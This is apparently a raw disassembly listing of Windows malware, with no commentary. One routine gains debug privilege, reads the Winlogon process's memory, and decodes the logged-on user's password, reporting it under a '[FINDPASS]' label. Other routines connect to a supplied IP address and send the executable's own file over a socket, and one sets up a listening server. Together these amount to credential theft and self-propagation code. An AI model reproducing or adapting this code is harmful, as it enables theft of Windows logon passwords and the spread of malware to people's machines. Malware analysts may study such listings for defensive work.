var_28		= byte ptr -28h
var_18		= byte ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 68h
		push	esi
		push	[ebp+arg_0]
		xor	esi, esi
		push	esi
		push	410h
		mov	[ebp+var_14], esi
		call	dword_422078	; OpenProcess
		cmp	eax, esi
		mov	[ebp+var_8], eax
		jnz	short loc_4039C2
		xor	eax, eax
		jmp	loc_403B34
; ---------------------------------------------------------------------------


loc_4039C2:				; CODE XREF: sub_403999+20j
		mov	eax, [ebp+arg_4]
		push	ebx
		mov	[eax], esi
		push	edi
		lea	eax, [ebp+var_68]
		push	eax
		call	dword_422074	; GetSystemInfo
		push	[ebp+var_64]
		mov	[ebp+var_C], esi
		mov	esi, dword_422060
		push	8
		call	esi	; GetProcessHeap
		mov	edi, dword_42205C
		push	eax
		call	edi	; RtlAllocateHeap
		mov	ebx, dword_422070
		lea	ecx, [ebp+var_C]
		push	ecx
		push	[ebp+var_64]
		mov	[ebp+var_4], eax
		push	eax
		push	7FFDF000h
		push	[ebp+var_8]
		call	ebx	; ReadProcessMemory
		test	eax, eax
		jnz	short loc_403A12
		xor	esi, esi
		jmp	loc_403B27
; ---------------------------------------------------------------------------


loc_403A12:				; CODE XREF: sub_403999+70j
		push	1Ch
		lea	eax, [ebp+var_44]
		push	eax
		mov	eax, [ebp+var_4]
		push	dword ptr [eax+18h]
		push	[ebp+var_8]
		call	dword_42206C	; VirtualQueryEx
		test	eax, eax
		jz	loc_403B16
		test	[ebp+var_33], 10h
		jz	loc_403B16
		test	[ebp+var_2F], 1
		jnz	loc_403B16
		push	[ebp+var_38]
		push	8
		call	esi	; GetProcessHeap
		push	eax
		call	edi	; RtlAllocateHeap
		mov	edi, eax
		lea	eax, [ebp+var_C]
		push	eax
		push	[ebp+var_38]
		mov	eax, [ebp+var_4]
		push	edi
		push	dword ptr [eax+18h]
		mov	[ebp+var_10], edi
		push	[ebp+var_8]
		call	ebx	; ReadProcessMemory
		test	eax, eax
		jz	loc_403B16


loc_403A6D:				; CODE XREF: sub_403999+108j
		push	edi
		push	offset dword_438AB8
		call	sub_4218CC
		test	eax, eax
		pop	ecx
		pop	ecx
		jnz	short loc_403A95
		lea	eax, [edi+200h]
		push	eax
		push	offset dword_4392C0
		call	sub_4218CC
		test	eax, eax
		pop	ecx
		pop	ecx
		jz	short loc_403AA5


loc_403A95:				; CODE XREF: sub_403999+E3j
		mov	eax, [ebp+var_38]
		mov	ecx, [ebp+var_10]
		inc	edi
		inc	edi
		add	eax, ecx
		cmp	edi, eax
		jb	short loc_403A6D
		jmp	short loc_403B16
; ---------------------------------------------------------------------------


loc_403AA5:				; CODE XREF: sub_403999+FAj
		test	edi, edi
		jz	short loc_403B16
		lea	eax, [ebp+var_18]
		push	eax
		lea	eax, [edi+410h]
		push	eax
		call	dword_422068	; FileTimeToLocalFileTime
		test	eax, eax
		jz	short loc_403AE2
		lea	eax, [ebp+var_28]
		push	eax
		lea	eax, [ebp+var_18]
		push	eax
		call	dword_422064	; FileTimeToSystemTime
		test	eax, eax
		jz	short loc_403AE2
		mov	ecx, [ebp+arg_4]
		xor	eax, eax
		mov	al, [edi+42Ch]
		shr	eax, 1
		and	eax, 7Fh
		mov	[ecx], eax


loc_403AE2:				; CODE XREF: sub_403999+123j
					; sub_403999+135j
		movzx	eax, byte ptr [edi+42Dh]
		mov	dword_439AD8, eax
		mov	eax, [ebp+var_4]
		mov	eax, [eax+18h]
		sub	eax, [ebp+var_10]
		mov	[ebp+var_14], 1
		lea	eax, [eax+edi+434h]
		add	edi, 434h
		mov	dword_439AD0, eax
		mov	dword_439AD4, edi


loc_403B16:				; CODE XREF: sub_403999+90j
					; sub_403999+9Aj ...
		push	[ebp+var_4]
		push	0
		call	esi	; GetProcessHeap
		push	eax
		call	dword_422058	; RtlFreeHeap
		mov	esi, [ebp+var_14]


loc_403B27:				; CODE XREF: sub_403999+74j
		push	[ebp+var_8]
		call	dword_42202C	; CloseHandle
		pop	edi
		mov	eax, esi
		pop	ebx


loc_403B34:				; CODE XREF: sub_403999+24j
		pop	esi
		leave
		retn
sub_403999	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_403B37	proc near		; CODE XREF: sub_403DEF:loc_403EE6p

var_50		= byte ptr -50h
var_4C		= dword	ptr -4Ch
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_2C		= byte ptr -2Ch
var_20		= dword	ptr -20h
var_1B		= byte ptr -1Bh
var_17		= byte ptr -17h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 50h
		push	[ebp+arg_0]
		push	0
		push	410h
		call	dword_422078	; OpenProcess
		test	eax, eax
		mov	[ebp+var_4], eax
		jnz	short loc_403B56
		leave
		retn
; ---------------------------------------------------------------------------


loc_403B56:				; CODE XREF: sub_403B37+1Bj
		mov	eax, [ebp+arg_4]
		and	dword ptr [eax], 0
		push	ebx
		push	esi
		push	edi
		lea	eax, [ebp+var_50]
		push	eax
		call	dword_422074	; GetSystemInfo
		mov	eax, [ebp+var_44]
		mov	ebx, [ebp+var_48]
		cmp	ebx, eax
		mov	[ebp+var_10], eax
		jnb	loc_403C16
		mov	edi, dword_422060


loc_403B80:				; CODE XREF: sub_403B37+D9j
		push	1Ch
		lea	eax, [ebp+var_2C]
		push	eax
		push	ebx
		push	[ebp+var_4]
		call	dword_42206C	; VirtualQueryEx
		test	eax, eax
		jz	short loc_403C04
		test	[ebp+var_1B], 10h
		mov	eax, [ebp+var_20]
		mov	[ebp+var_8], eax
		jz	short loc_403C0A
		test	[ebp+var_17], 1
		jnz	short loc_403C0A
		push	eax
		push	8
		call	edi	; GetProcessHeap
		push	eax
		call	dword_42205C	; RtlAllocateHeap
		and	[ebp+var_C], 0
		mov	esi, eax
		lea	eax, [ebp+var_C]
		push	eax
		push	[ebp+var_20]
		push	esi
		push	ebx
		push	[ebp+var_4]
		call	dword_422070	; ReadProcessMemory
		test	eax, eax
		jz	short loc_403BF6
		push	offset dword_438AB8
		push	esi
		call	sub_4218CC
		test	eax, eax
		pop	ecx
		pop	ecx
		jnz	short loc_403BF6
		lea	eax, [esi+400h]
		push	offset dword_4392C0
		push	eax
		call	sub_4218CC
		test	eax, eax
		pop	ecx
		pop	ecx
		jz	short loc_403C28


loc_403BF6:				; CODE XREF: sub_403B37+95j
					; sub_403B37+A6j
		push	esi
		push	0
		call	edi	; GetProcessHeap
		push	eax
		call	dword_422058	; RtlFreeHeap
		jmp	short loc_403C0A
; ---------------------------------------------------------------------------


loc_403C04:				; CODE XREF: sub_403B37+5Bj
		mov	eax, [ebp+var_4C]
		mov	[ebp+var_8], eax


loc_403C0A:				; CODE XREF: sub_403B37+67j
					; sub_403B37+6Dj ...
		add	ebx, [ebp+var_8]
		cmp	ebx, [ebp+var_10]
		jb	loc_403B80


loc_403C16:				; CODE XREF: sub_403B37+3Dj
		xor	esi, esi


loc_403C18:				; CODE XREF: sub_403B37+123j
		push	[ebp+var_4]
		call	dword_42202C	; CloseHandle
		pop	edi
		mov	eax, esi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_403C28:				; CODE XREF: sub_403B37+BDj
		add	ebx, 800h
		lea	eax, [esi+800h]
		xor	ecx, ecx
		mov	dword_439AD0, ebx
		mov	dword_439AD4, eax
		cmp	[eax], cl
		jnz	short loc_403C4A
		cmp	[eax+1], cl
		jz	short loc_403C52


loc_403C4A:				; CODE XREF: sub_403B37+10Cj
					; sub_403B37+119j
		inc	ecx
		inc	eax
		inc	eax
		cmp	byte ptr [eax],	0
		jnz	short loc_403C4A


loc_403C52:				; CODE XREF: sub_403B37+111j
		mov	eax, [ebp+arg_4]
		xor	esi, esi
		mov	[eax], ecx
		inc	esi
		jmp	short loc_403C18
sub_403B37	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_403C5C	proc near		; CODE XREF: sub_403DEF+134p

var_8		= word ptr -8
var_6		= word ptr -6
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		mov	eax, dword_439ACC
		add	eax, eax
		push	ebx
		mov	ebx, dword_422060
		mov	[ebp+var_8], ax
		add	eax, 2
		push	esi
		mov	[ebp+var_6], ax
		movzx	eax, ax
		push	edi
		push	eax
		push	8
		call	ebx	; GetProcessHeap
		push	eax
		call	dword_42205C	; RtlAllocateHeap
		mov	ecx, dword_439ACC
		mov	esi, dword_439AD4
		mov	edi, eax
		lea	eax, [ebp+var_8]
		push	eax
		mov	[ebp+var_4], edi
		xor	eax, eax
		rep movsw
		mov	al, byte ptr dword_439AD8
		push	eax
		call	dword_4392BC	; RtlRunDecodeUnicodeString
		push	[ebp+var_4]
		mov	esi, offset dword_439AE0
		push	offset dword_438AB8
		push	offset dword_4392C0
		push	[ebp+arg_0]
		push	offset aFindpassTheWin ; "[FINDPASS]: The Windows logon	(Pid: <%d"...
		push	200h
		push	esi
		call	sub_416B5D
		add	esp, 1Ch
		push	[ebp+var_4]
		push	0
		call	ebx	; GetProcessHeap
		push	eax
		call	dword_422058	; RtlFreeHeap
		pop	edi
		mov	eax, esi
		pop	esi
		pop	ebx
		leave
		retn
sub_403C5C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_403CEE	proc near		; CODE XREF: sub_403DEF:loc_403F2Ap

var_C		= word ptr -0Ch
var_A		= word ptr -0Ah
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		mov	eax, dword_439ACC
		add	eax, eax
		push	ebx
		mov	[ebp+var_C], ax
		add	eax, 2
		push	esi
		mov	[ebp+var_A], ax
		movzx	eax, ax
		push	edi
		push	eax
		push	8
		call	dword_422060	; GetProcessHeap
		push	eax
		call	dword_42205C	; RtlAllocateHeap
		and	[ebp+var_4], 0
		mov	[ebp+var_8], eax
		mov	ebx, offset dword_439CE0


loc_403D28:				; CODE XREF: sub_403CEE+E2j
		mov	ecx, dword_439ACC
		mov	esi, dword_439AD4
		mov	edi, [ebp+var_8]
		lea	eax, [ebp+var_C]
		push	eax
		push	[ebp+var_4]
		rep movsw
		call	dword_4392BC	; RtlRunDecodeUnicodeString
		mov	eax, dword_439ACC
		mov	esi, [ebp+var_8]
		xor	edx, edx
		inc	edx
		xor	edi, edi
		test	eax, eax
		jbe	short loc_403D81


loc_403D58:				; CODE XREF: sub_403CEE+8Dj
		test	edx, edx
		jz	short loc_403DA6
		mov	cl, [esi]
		test	cl, cl
		jz	short loc_403D74
		cmp	byte ptr [esi+1], 0
		jnz	short loc_403D74
		cmp	cl, 20h
		jnb	short loc_403D6F
		xor	edx, edx


loc_403D6F:				; CODE XREF: sub_403CEE+7Dj
		cmp	cl, 7Eh
		jbe	short loc_403D76


loc_403D74:				; CODE XREF: sub_403CEE+72j
					; sub_403CEE+78j
		xor	edx, edx


loc_403D76:				; CODE XREF: sub_403CEE+84j
		inc	esi
		inc	esi
		inc	edi
		cmp	edi, eax
		jb	short loc_403D58
		test	edx, edx
		jz	short loc_403DA6


loc_403D81:				; CODE XREF: sub_403CEE+68j
		push	[ebp+var_8]
		push	offset dword_438AB8
		push	offset dword_4392C0
		push	[ebp+arg_0]
		push	offset aFindpassTheWin ; "[FINDPASS]: The Windows logon	(Pid: <%d"...
		push	200h
		push	ebx
		call	sub_416B5D
		add	esp, 1Ch
		jmp	short loc_403DC6
; ---------------------------------------------------------------------------


loc_403DA6:				; CODE XREF: sub_403CEE+6Cj
					; sub_403CEE+91j
		push	offset dword_438AB8
		push	offset dword_4392C0
		push	[ebp+arg_0]
		push	offset aFindpassTheW_0 ; "[FINDPASS]: The Windows logon	(Pid: <%d"...
		push	200h
		push	ebx
		call	sub_416B5D
		add	esp, 18h


loc_403DC6:				; CODE XREF: sub_403CEE+B6j
		inc	[ebp+var_4]
		cmp	[ebp+var_4], 0FFh
		jbe	loc_403D28
		push	[ebp+var_8]
		push	0
		call	dword_422060	; GetProcessHeap
		push	eax
		call	dword_422058	; RtlFreeHeap
		pop	edi
		pop	esi
		mov	eax, ebx
		pop	ebx
		leave
		retn
sub_403CEE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame fpd=74h


sub_403DEF	proc near		; DATA XREF: sub_409806+473Do

var_29C		= byte ptr -29Ch
var_9C		= dword	ptr -9Ch
var_98		= byte ptr -98h
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		lea	ebp, [esp-74h]
		sub	esp, 29Ch
		mov	eax, [ebp+74h+arg_0]
		push	ebx
		push	esi
		push	edi
		push	25h
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp+74h+var_9C]
		rep movsd
		xor	esi, esi
		inc	esi
		mov	[eax+90h], esi
		call	sub_4129C0
		cmp	eax, esi
		mov	[ebp+74h+var_4], eax
		jz	short loc_403E2E
		cmp	eax, 2
		jz	short loc_403E2E
		push	offset aFindpassOnlySu ; "[FINDPASS]: Only supported on	Windows	N"...
		jmp	loc_403F6B
; ---------------------------------------------------------------------------


loc_403E2E:				; CODE XREF: sub_403DEF+2Ej
					; sub_403DEF+33j
		push	esi
		push	offset aSedebugprivile ; "SeDebugPrivilege"
		call	sub_408C9C
		test	eax, eax
		pop	ecx
		pop	ecx
		jz	loc_403F66
		push	offset aNtdll_dll ; "NTDLL.DLL"
		call	dword_422088	; LoadLibraryA
		mov	esi, dword_422084
		mov	edi, eax
		push	offset aNtquerysystemi ; "NtQuerySystemInformation"
		push	edi
		mov	[ebp+74h+var_8], edi
		call	esi	; GetProcAddress
		push	offset aRtlcreatequery ; "RtlCreateQueryDebugBuffer"
		push	edi
		mov	dword_4392B8, eax
		call	esi	; GetProcAddress
		push	offset aRtlqueryproces ; "RtlQueryProcessDebugInformation"
		push	edi
		mov	dword_439AC0, eax
		call	esi	; GetProcAddress
		push	offset aRtldestroyquer ; "RtlDestroyQueryDebugBuffer"
		push	edi
		mov	dword_439AC4, eax
		call	esi	; GetProcAddress
		push	offset aRtlrundecodeun ; "RtlRunDecodeUnicodeString"
		push	edi
		mov	dword_439AC8, eax
		call	esi	; GetProcAddress
		mov	dword_4392BC, eax
		call	sub_403810
		test	eax, eax
		mov	[ebp+74h+arg_0], eax
		jz	loc_403F3A
		mov	esi, dword_422080
		mov	edi, 400h
		push	edi
		mov	ebx, offset dword_438AB8
		push	ebx
		push	offset aUsername ; "USERNAME"
		call	esi	; GetEnvironmentVariableW
		push	edi
		mov	edi, offset dword_4392C0
		push	edi
		push	offset aUserdomain ; "USERDOMAIN"
		call	esi	; GetEnvironmentVariableW
		cmp	[ebp+74h+var_4], 1
		push	offset dword_439ACC
		push	[ebp+74h+arg_0]
		jnz	short loc_403EE6
		call	sub_403999
		jmp	short loc_403EEB
; ---------------------------------------------------------------------------


loc_403EE6:				; CODE XREF: sub_403DEF+EEj
		call	sub_403B37


loc_403EEB:				; CODE XREF: sub_403DEF+F5j
		test	eax, eax
		pop	ecx
		pop	ecx
		jz	short loc_403F33
		cmp	dword_439ACC, 0
		jnz	short loc_403F1A
		push	ebx
		push	edi
		push	[ebp+74h+arg_0]
		lea	eax, [ebp+74h+var_29C]
		push	offset aFindpassTheW_1 ; "[FINDPASS]: The Windows logon	(Pid: <%d"...
		push	200h
		push	eax
		call	sub_416B5D
		add	esp, 18h
		jmp	short loc_403F4D
; ---------------------------------------------------------------------------


loc_403F1A:				; CODE XREF: sub_403DEF+109j
		cmp	[ebp+74h+var_4], 1
		push	[ebp+74h+arg_0]
		jnz	short loc_403F2A
		call	sub_403C5C
		jmp	short loc_403F2F
; ---------------------------------------------------------------------------


loc_403F2A:				; CODE XREF: sub_403DEF+132j
		call	sub_403CEE


loc_403F2F:				; CODE XREF: sub_403DEF+139j
		pop	ecx
		push	eax
		jmp	short loc_403F3F
; ---------------------------------------------------------------------------


loc_403F33:				; CODE XREF: sub_403DEF+100j
		push	offset aFindpassUnable ; "[FINDPASS]: Unable to	find the password"...
		jmp	short loc_403F3F
; ---------------------------------------------------------------------------


loc_403F3A:				; CODE XREF: sub_403DEF+B5j
		push	offset aFindpassUnab_0 ; "[FINDPASS]: Unable to	find Winlogon Pro"...


loc_403F3F:				; CODE XREF: sub_403DEF+142j
					; sub_403DEF+149j
		lea	eax, [ebp+74h+var_29C]
		push	eax
		call	sub_416905
		pop	ecx
		pop	ecx


loc_403F4D:				; CODE XREF: sub_403DEF+129j
		push	0
		push	offset aSedebugprivile ; "SeDebugPrivilege"
		call	sub_408C9C
		pop	ecx
		pop	ecx
		push	[ebp+74h+var_8]
		call	dword_42207C	; FreeLibrary
		jmp	short loc_403F79
; ---------------------------------------------------------------------------


loc_403F66:				; CODE XREF: sub_403DEF+4Ej
		push	offset aFindpassFailed ; "[FINDPASS]: Failed to	enable Debug Priv"...


loc_403F6B:				; CODE XREF: sub_403DEF+3Aj
		lea	eax, [ebp+74h+var_29C]
		push	eax
		call	sub_416905
		pop	ecx
		pop	ecx


loc_403F79:				; CODE XREF: sub_403DEF+175j
		xor	esi, esi
		cmp	[ebp+74h+var_10], esi
		jnz	short loc_403F9A
		push	esi
		push	[ebp+74h+var_14]
		lea	eax, [ebp+74h+var_29C]
		push	eax
		lea	eax, [ebp+74h+var_98]
		push	eax
		push	[ebp+74h+var_9C]
		call	sub_405D20
		add	esp, 14h


loc_403F9A:				; CODE XREF: sub_403DEF+18Fj
		lea	eax, [ebp+74h+var_29C]
		push	eax
		call	sub_401ECD
		push	[ebp+74h+var_18]
		call	sub_41397A
		pop	ecx
		pop	ecx
		push	esi
		call	dword_422010	; ExitThread
		int	3		; Trap to Debugger
sub_403DEF	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_403FB8	proc near		; CODE XREF: sub_403FEB+11Cp
					; sub_403FEB+145p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		mov	edx, [ebp+arg_4]
		sub	edx, [ebp+arg_C]
		push	ebx
		push	esi
		xor	eax, eax
		test	edx, edx
		push	edi
		jle	short loc_403FE0


loc_403FCA:				; CODE XREF: sub_403FB8+26j
		mov	esi, [ebp+arg_0]
		mov	ecx, [ebp+arg_C]
		mov	edi, [ebp+arg_8]
		add	esi, eax
		xor	ebx, ebx
		repe cmpsb
		jz	short loc_403FE7
		inc	eax
		cmp	eax, edx
		jl	short loc_403FCA


loc_403FE0:				; CODE XREF: sub_403FB8+10j
		xor	al, al


loc_403FE2:				; CODE XREF: sub_403FB8+31j
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_403FE7:				; CODE XREF: sub_403FB8+21j
		mov	al, 1
		jmp	short loc_403FE2
sub_403FB8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_403FEB	proc near		; CODE XREF: .text:004145A8p
					; .text:00414694p ...

var_2010	= byte ptr -2010h
var_200E	= byte ptr -200Eh
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		mov	eax, 2010h
		call	sub_416B20
		mov	eax, [ebp+arg_4]
		dec	eax
		jz	short loc_404028
		dec	eax
		jz	short loc_404006
		dec	eax
		xor	eax, eax
		leave
		retn
; ---------------------------------------------------------------------------


loc_404006:				; CODE XREF: sub_403FEB+14j
		push	3
		push	1388h
		push	[ebp+arg_0]
		call	dword_43A414	; inet_addr
		push	eax
		call	sub_4018B3
		add	esp, 0Ch
		neg	eax
		sbb	eax, eax
		and	eax, 3
		leave
		retn
; ---------------------------------------------------------------------------


loc_404028:				; CODE XREF: sub_403FEB+11j
		push	ebx
		push	esi
		push	6
		push	1
		push	2
		call	dword_43A39C	; socket
		mov	esi, eax
		or	ebx, 0FFFFFFFFh
		xor	eax, eax
		cmp	esi, ebx
		mov	[ebp+arg_4], esi
		jz	loc_40414D
		push	edi
		lea	edi, [ebp+var_10]
		stosd
		stosd
		stosd
		stosd
		push	87h
		mov	[ebp+var_10], 2
		call	dword_43A4F4	; ntohs
		push	[ebp+arg_0]
		mov	[ebp+var_E], ax
		call	sub_40873C
		pop	ecx
		mov	[ebp+var_C], eax
		push	10h
		lea	eax, [ebp+var_10]
		push	eax
		push	esi
		call	dword_43A34C	; connect
		cmp	eax, ebx
		jz	short loc_404097
		xor	edi, edi
		push	edi
		push	48h
		push	offset dword_42E508
		push	esi
		call	dword_43A438	; send
		cmp	eax, ebx
		jnz	short loc_40409E


loc_404097:				; CODE XREF: sub_403FEB+95j
					; sub_403FEB+CCj ...
		xor	esi, esi
		jmp	loc_404141
; ---------------------------------------------------------------------------


loc_40409E:				; CODE XREF: sub_403FEB+AAj
		push	edi
		mov	esi, 2000h
		push	esi
		lea	eax, [ebp+var_2010]
		push	eax
		push	[ebp+arg_4]
		call	dword_43A304	; recv
		cmp	eax, ebx
		jz	short loc_404097
		cmp	[ebp+var_200E],	0Ch
		jnz	short loc_404097
		push	edi
		push	18h
		push	offset dword_42E554
		push	[ebp+arg_4]
		call	dword_43A438	; send
		cmp	eax, ebx
		jz	short loc_404097
		push	edi
		push	esi
		lea	eax, [ebp+var_2010]
		push	eax
		push	[ebp+arg_4]
		call	dword_43A304	; recv
		mov	esi, eax
		cmp	esi, ebx
		jz	short loc_404097
		cmp	[ebp+var_200E],	2
		jnz	short loc_404097
		push	10h
		push	offset loc_42E570
		lea	eax, [ebp+var_2010]
		push	esi
		push	eax
		call	sub_403FB8
		add	esp, 10h
		test	al, al
		jz	short loc_404121
		xor	eax, eax
		cmp	esi, 12Ch
		setnl	al
		inc	eax
		jmp	short loc_40413F
; ---------------------------------------------------------------------------


loc_404121:				; CODE XREF: sub_403FEB+126j
		push	10h
		push	offset dword_42E584
		lea	eax, [ebp+var_2010]
		push	esi
		push	eax
		call	sub_403FB8
		add	esp, 10h
		neg	al
		sbb	eax, eax
		and	eax, 3


loc_40413F:				; CODE XREF: sub_403FEB+134j
		mov	esi, eax


loc_404141:				; CODE XREF: sub_403FEB+AEj
		push	[ebp+arg_4]
		call	dword_43A4B0	; closesocket
		mov	eax, esi
		pop	edi


loc_40414D:				; CODE XREF: sub_403FEB+57j
		pop	esi
		pop	ebx
		leave
		retn
sub_403FEB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_404151	proc near		; CODE XREF: sub_404260+4A2p

var_1A0		= byte ptr -1A0h
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 1A0h
		lea	eax, [ebp+var_1A0]
		push	eax
		push	101h
		call	dword_422204	; WSAStartup
		push	0
		push	1
		push	2
		call	dword_422208	; socket
		push	[ebp+arg_0]
		mov	dword_439EE0, eax
		mov	[ebp+var_10], 2
		call	dword_42220C	; inet_addr
		push	[ebp+arg_4]
		mov	[ebp+var_C], eax
		call	dword_422210	; ntohs
		mov	[ebp+var_E], ax
		push	10h
		lea	eax, [ebp+var_10]
		push	eax
		push	dword_439EE0
		call	dword_422214	; connect
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_4041C9
		push	dword_439EE0
		call	dword_422218	; closesocket
		call	dword_42221C	; WSACleanup
		xor	eax, eax
		leave
		retn
; ---------------------------------------------------------------------------


loc_4041C9:				; CODE XREF: sub_404151+60j
		xor	eax, eax
		inc	eax
		leave
		retn
sub_404151	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4041CE	proc near		; CODE XREF: sub_404260+4AEp

var_504		= byte ptr -504h
var_104		= byte ptr -104h

		push	ebp
		mov	ebp, esp
		sub	esp, 504h
		push	esi
		push	104h
		lea	eax, [ebp+var_104]
		push	eax
		push	0
		call	dword_42200C	; GetModuleFileNameA
		lea	eax, [ebp+var_104]
		push	offset dword_422998
		push	eax
		call	sub_41719C
		mov	esi, eax
		test	esi, esi
		pop	ecx
		pop	ecx
		jnz	short loc_40423B
		jmp	short loc_40425D
; ---------------------------------------------------------------------------


loc_404207:				; CODE XREF: sub_4041CE+72j
		push	400h
		lea	eax, [ebp+var_504]
		push	1
		push	eax
		call	sub_416F47
		add	esp, 10h
		push	0
		push	eax
		lea	eax, [ebp+var_504]
		push	eax
		push	dword_439EE0
		call	dword_422200	; send
		push	1
		call	dword_422000	; Sleep


loc_40423B:				; CODE XREF: sub_4041CE+35j
		test	byte ptr [esi+0Ch], 10h
		push	esi
		jz	short loc_404207
		call	sub_416E0D
		pop	ecx
		push	dword_439EE0
		call	dword_422218	; closesocket
		call	dword_42221C	; WSACleanup
		xor	eax, eax
		inc	eax


loc_40425D:				; CODE XREF: sub_4041CE+37j
		pop	esi
		leave
		retn
sub_4041CE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame fpd=74h


sub_404260	proc near		; DATA XREF: sub_401141+240o

var_A6C		= byte ptr -0A6Ch
var_8DC		= byte ptr -8DCh
var_6DC		= dword	ptr -6DCh
var_6D8		= byte ptr -6D8h
var_4C4		= byte ptr -4C4h
var_444		= dword	ptr -444h
var_440		= dword	ptr -440h
var_438		= dword	ptr -438h
var_334		= byte ptr -334h
var_2D0		= byte ptr -2D0h
var_29C		= byte ptr -29Ch
var_238		= byte ptr -238h
var_228		= dword	ptr -228h
var_224		= dword	ptr -224h
var_220		= dword	ptr -220h
var_124		= byte ptr -124h
var_F8		= byte ptr -0F8h
var_C4		= byte ptr -0C4h
var_AC		= byte ptr -0ACh
var_48		= byte ptr -48h
var_38		= word ptr -38h
var_36		= word ptr -36h
var_34		= dword	ptr -34h
var_28		= byte ptr -28h
var_24		= dword	ptr -24h
var_20		= byte ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= byte ptr -14h
var_10		= dword	ptr -10h
var_C		= byte ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		lea	ebp, [esp-74h]
		sub	esp, 0A6Ch
		mov	eax, [ebp+74h+arg_0]
		push	ebx
		push	esi
		push	edi
		mov	esi, eax
		xor	ebx, ebx
		inc	ebx
		mov	ecx, 0A9h
		lea	edi, [ebp+74h+var_6DC]
		rep movsd
		mov	[eax+2A0h], ebx
		lea	eax, [ebp+74h+var_A6C]
		push	eax
		xor	esi, esi
		push	101h
		mov	[ebp+74h+var_18], ebx
		mov	[ebp+74h+var_1C], ebx
		mov	[ebp+74h+var_228], esi
		mov	[ebp+74h+var_438], esi
		call	dword_422204	; WSAStartup
		push	esi
		call	sub_417740
		push	eax
		call	sub_41698D
		mov	eax, [ebp+74h+arg_0]
		mov	eax, [eax+214h]
		pop	ecx
		pop	ecx
		push	esi
		push	ebx
		push	2
		mov	dword_439EE4, eax
		call	dword_422208	; socket
		mov	ebx, eax
		push	4
		lea	eax, [ebp+74h+var_18]
		push	eax
		push	4
		push	0FFFFh
		push	ebx
		mov	[ebp+74h+var_8], ebx
		call	dword_4221E0	; setsockopt
		lea	eax, [ebp+74h+var_1C]
		push	eax
		push	8004667Eh
		push	ebx
		call	dword_4221E4	; ioctlsocket
		xor	eax, eax
		mov	ax, word ptr dword_439EE4
		mov	[ebp+74h+var_38], 2
		mov	[ebp+74h+var_34], esi
		push	eax
		call	dword_422210	; ntohs
		mov	[ebp+74h+var_36], ax
		push	10h
		lea	eax, [ebp+74h+var_38]
		push	eax
		push	ebx
		call	dword_4221E8	; bind
		test	eax, eax
		jl	loc_4047FA
		push	0Ah
		push	ebx
		call	dword_4221EC	; listen
		push	41h
		pop	ecx
		xor	eax, eax
		push	eax
		push	eax
		push	eax
		lea	eax, [ebp+74h+var_438]
		mov	[ebp+74h+var_224], ebx
		mov	[ebp+74h+var_4], ebx
		push	eax
		inc	ebx
		lea	esi, [ebp+74h+var_228]
		lea	edi, [ebp+74h+var_438]
		mov	[ebp+74h+var_228], 1
		push	ebx
		rep movsd
		call	dword_4221F0	; select
		cmp	eax, 0FFFFFFFFh
		jz	loc_4047FA
		mov	ebx, dword_422200


loc_40437F:				; CODE XREF: sub_404260+594j
		xor	esi, esi
		cmp	[ebp+74h+var_4], esi
		mov	[ebp+74h+arg_0], esi
		jl	loc_4047C9


loc_40438D:				; CODE XREF: sub_404260+563j
		push	19h
		pop	ecx
		xor	eax, eax
		push	19h
		lea	edi, [ebp+74h+var_29C]
		rep stosd
		pop	ecx
		lea	edi, [ebp+74h+var_AC]
		rep stosd
		lea	eax, [ebp+74h+var_438]
		push	eax
		push	esi
		call	sub_4218C0	; __WSAFDIsSet
		test	eax, eax
		jz	loc_4047BC
		cmp	esi, [ebp+74h+var_8]
		jnz	short loc_404427
		push	10h
		pop	edi
		lea	eax, [ebp+74h+var_24]
		push	eax
		lea	eax, [ebp+74h+var_238]
		push	eax
		push	[ebp+74h+var_8]
		mov	[ebp+74h+var_24], edi
		call	dword_4221F8	; accept
		cmp	eax, 0FFFFFFFFh
		jz	loc_4047BC
		mov	edx, [ebp+74h+var_228]
